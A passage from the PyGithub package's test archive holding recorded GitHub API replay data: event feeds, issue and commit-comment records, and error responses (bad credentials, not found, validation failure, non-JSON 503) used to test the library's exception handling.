e5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:11:49Z","id":"1554710791","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:58:32Z","id":"1554705673","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:53:25Z","id":"1554703698","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:50:02Z","id":"1554702296","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:49:34Z","id":"1554702087","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:40:18Z","id":"1554698320","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:36:58Z","line":null,"body":"Comment created by PyGithub","updated_at":"2012-05-22T18:36:58Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361928","id":1361928,"path":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361928"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:36:58Z","id":"1554697057","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-22T17:15:11Z","id":"1554664316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"661812b9dd136efdb0e0c413793deb0939146651","size":2,"push_id":79550719,"commits":[{"sha":"c93f9cc8484b7835130689befc89ae88c7e72694","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c93f9cc8484b7835130689befc89ae88c7e72694","distinct":true,"message":"Remove noise in human readable description"},{"sha":"661812b9dd136efdb0e0c413793deb0939146651","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/661812b9dd136efdb0e0c413793deb0939146651","distinct":true,"message":"Test watching"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T13:48:45Z","id":"1554164185","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-21T11:31:55Z","id":"1554123822","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-21T11:17:12Z","body":"Implemented in ca97469. Will be in version 1.0.","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5820199","id":5820199,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":2,"open_issues":9,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120319","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"open_issues":9,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","size":1,"push_id":79524271,"commits":[{"sha":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","distinct":true,"message":"Retrieve rate limiting information"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:16:05Z","id":"1554120027","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","size":4,"push_id":79431688,"commits":[{"sha":"fd18d6299da666bffb9490a1a784060ca7a516f1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fd18d6299da666bffb9490a1a784060ca7a516f1","distinct":true,"message":"Test IssueComment"},{"sha":"beaa58ca0c038469b3b553b804b4d37b2363f8e2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/beaa58ca0c038469b3b553b804b4d37b2363f8e2","distinct":true,"message":"Test IssueEvent attributes"},{"sha":"6a2e4b4958385667c892cbd720fb91c6c44ab81a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6a2e4b4958385667c892cbd720fb91c6c44ab81a","distinct":true,"message":"Improve test coverage of NamedUser"},{"sha":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d5ba645d446d9c237a52ddc9cdc6862e399c62dc","distinct":true,"message":"Improve test coverage of AuthenticatedUser"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-20T17:59:32Z","id":"1553953684","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"FollowEvent","payload":{"target":{"name":"Vincent Driessen","company":"3rd Cloud","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","public_repos":61,"blog":"http://nvie.com","followers":297,"url":"https://api.github.com/users/nvie","public_gists":16,"hireable":false,"id":83844,"type":"User","bio":null,"login":"nvie","html_url":"https://github.com/nvie","email":"vincent@3rdcloud.com","following":41}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-20T12:47:52Z","id":"1553918130","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Exceptions.testBadAuthentication.txt0000644000175100001660000000064714756101563025334 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 401 [('status', '401 Unauthorized'), ('content-length', '29'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"ca6a3702f840b6bff0bb1bca6be0337c"'), ('date', 'Sat, 02 Jun 2012 12:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Bad credentials"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Exceptions.testInvalidInput.txt0000644000175100001660000000137214756101563024350 0ustar00runnerdockerhttps POST api.github.com None /user/keys {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"key": "xxx", "title": "Bad key"} 422 [('status', '422 Unprocessable Entity'), ('x-ratelimit-remaining', '4995'), ('content-length', '221'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"73f756ef75655dd74463eb1bf4cfefe1"'), ('date', 'Wed, 30 May 2012 07:00:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Validation Failed","errors":[{"field":"key","resource":"PublicKey","message":"key is invalid. It must begin with 'ssh-rsa' or 'ssh-dss'. Check that you're copying the public half of the key","code":"custom"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Exceptions.testJSONParseError.txt0000644000175100001660000000207314756101563024517 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '2'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Accept-Encoding'), ('content-length', '1299'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 12:09:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"de9347ae9c0c83b44d6c81d05aba4877"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 12:23:52 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2F ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Exceptions.testNonJsonDataReturnedByGithub.txt0000755000175100001660000000100414756101563027262 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 503 [('status', '503 Servive Unavailable'), ('content-length', '104'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"ca6a3702f840b6bff0bb1bca6be0337c"'), ('date', 'Sat, 02 Jun 2012 12:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')]

503 Service Unavailable

No server is available to handle this request. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Exceptions.testUnknownObject.txt0000644000175100001660000000332314756101563024526 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e6c8f1cbb0c4f0eae96d8a76de9a43f"'), ('date', 'Sat, 02 Jun 2012 12:11:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","total_private_repos":5,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","public_gists":3,"email":"vincent@vincent-jacques.net","owned_private_repos":5,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","private_gists":5,"collaborators":0,"created_at":"2010-07-09T06:10:06Z","blog":"http://vincent-jacques.net","location":"Paris, France","url":"https://api.github.com/users/jacquev6","following":24,"disk_usage":16988,"public_repos":10,"name":"Vincent Jacques","hireable":false,"followers":13,"html_url":"https://github.com/jacquev6","id":327146,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"bio":""} https GET api.github.com None /repos/jacquev6/Xxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4970'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 02 Jun 2012 12:11:47 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Exceptions.testUnknownUser.txt0000644000175100001660000000077614756101563024247 0ustar00runnerdockerhttps GET api.github.com None /users/ThisUserShouldReallyNotExist {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4968'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 02 Jun 2012 12:24:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ExposeAllAttributes.testAllClasses.txt0000644000175100001660000464203214756101563025622 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4896'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8af842fb-ea9b-4237-bb36-ba65ee012cca'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1218'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 13:38:58 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ded215d39a497c6d2de00dd5e5a5deb6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:00 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"login":"nvie","id":83844,"avatar_url":"https://1.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https%3A%2F%2Fidenticons.github.com%2Fe6d0513ce49cc06cb956251623cb8fd9.png","gravatar_id":"466ef7561a0b100dc5a1021959962d28","url":"https://api.github.com/users/nvie","html_url":"https://github.com/nvie","followers_url":"https://api.github.com/users/nvie/followers","following_url":"https://api.github.com/users/nvie/following{/other_user}","gists_url":"https://api.github.com/users/nvie/gists{/gist_id}","starred_url":"https://api.github.com/users/nvie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nvie/subscriptions","organizations_url":"https://api.github.com/users/nvie/orgs","repos_url":"https://api.github.com/users/nvie/repos","events_url":"https://api.github.com/users/nvie/events{/privacy}","received_events_url":"https://api.github.com/users/nvie/received_events","type":"User","name":"Vincent Driessen","company":"3rd Cloud","blog":"http://nvie.com","location":"Netherlands","email":"vincent@3rdcloud.com","hireable":true,"bio":null,"public_repos":87,"followers":542,"following":45,"created_at":"2009-05-12T21:19:38Z","updated_at":"2013-09-06T13:38:58Z","public_gists":38} https GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4895'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 